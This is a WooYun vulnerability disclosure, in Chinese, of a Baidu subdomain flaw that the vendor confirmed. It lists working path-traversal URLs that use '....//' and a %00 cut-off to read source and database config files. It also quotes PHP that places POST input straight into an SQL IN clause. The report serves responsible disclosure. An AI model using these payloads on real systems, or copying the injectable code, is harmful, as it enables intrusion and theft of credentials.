当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0198361

漏洞标题:百度分站任意文件下载/信息泄露/SQL注入

相关厂商:百度

漏洞作者: 李长歌

提交时间:2016-04-20 07:28

修复时间:2016-06-04 10:30

公开时间:2016-06-04 10:30

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-20: 细节已通知厂商并且等待厂商处理中
2016-04-20: 厂商已经确认,细节仅向厂商公开
2016-04-30: 细节向核心白帽子及相关领域专家公开
2016-05-10: 细节向普通白帽子公开
2016-05-20: 细节向实习白帽子公开
2016-06-04: 细节向公众公开

简要描述:

百度分站任意文件下载/信息泄露/SQL注入

详细说明:

1 游览百度分站的时这个链接引起了我的注意http://tiyan.baidu.com/static/img.php?s=15,15&n=icon-info.png

QQ截图20160419225302.jpg


左后一个参数是一个文件,会不会存在任意文件下载呢。
依次访问一下连接均返回正常图片
http://tiyan.baidu.com/static/img.php?s=15,15&n=/icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=./icon-info.png
http://tiyan.baidu.com/static/img.php?s=15,15&n=../icon-info.png

QQ截图20160419231204.jpg


当访问http://tiyan.baidu.com/static/img.php?s=15,15&n=....//icon-info.png 连接的时候图片却不正常显示了。

QQ截图20160419231428.jpg


这里说明很有可能是将../给替换了。....// 替换../还是会返回上级目录 所以文件不存在
访问路径http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//index.php%00.png 加上截断

QQ截图20160419230258.jpg

成功读取首页文件
有了首页文件就可以通过里面的结构来读取其他文件了。
http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//....//....//....//....//....//home/bae/bae/phplib/config/BaeMysqlConfigure.class.php%00.png读取数据库连接

QQ截图20160419230856.jpg


QQ截图20160419230951.jpg


多个数据库都是同一个账户信息,只可惜在内网没法连接哦

漏洞证明:

2 这个系统使用了yii框架其大概的目录结构为
http://tiyan.baidu.com/?r=site/home 这个页面对于的控制代码为http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//protected/controllers/SiteController.php%00.png
简单看了下代码发现PlazaController.php页面的option 参数没有过滤 存在SQL注入

public function actionVoteSubmit() {
$voteId = intval($_POST['vote_id']);
$options = $_POST['option'];
if(!$options || count($options) == 0) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}
$vote = ActVote::model()->findByPk($voteId);
// 0.0 判断该用户是否参加过在投票
$hasVoted = ActVoteRecord::model()->hasVoted($this->user->id, $voteId);
if($hasVoted) {
$this->redirect($this->createUrl('plaza/viewVote', array('id' => $voteId)));
}
// 0.1 判断是否为多选并且该投票有限制多选的最多数量,如果超过,则截取前$vote->limit_num个
if($vote->type == ActVote::TYPE_MULTI && $vote->limit_num > 0) {
if(count($options) > $vote->limit_num) {
$options = array_slice($options, 0, $vote->limit_num);
}
}
// 1.1 选项选中数(selected_num) +1 & 投票的participate_num + 1
$strOptionIds = implode(',', $options);
$voteItem = new ActVoteItem();
$voteItem->updateCounters(array(
'selected_num' => 1
), "id in ({$strOptionIds})");


3 最后看下文件img.php果然是把../ 替换了,
http://tiyan.baidu.com/static/img.php?s=16,40&n=....//....//static/img.php%00.png

QQ截图20160419233954.jpg

修复方案:

修复

版权声明:转载请注明来源 李长歌@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2016-04-20 10:26

厂商回复:

感谢您关注百度安全!

最新状态:

暂无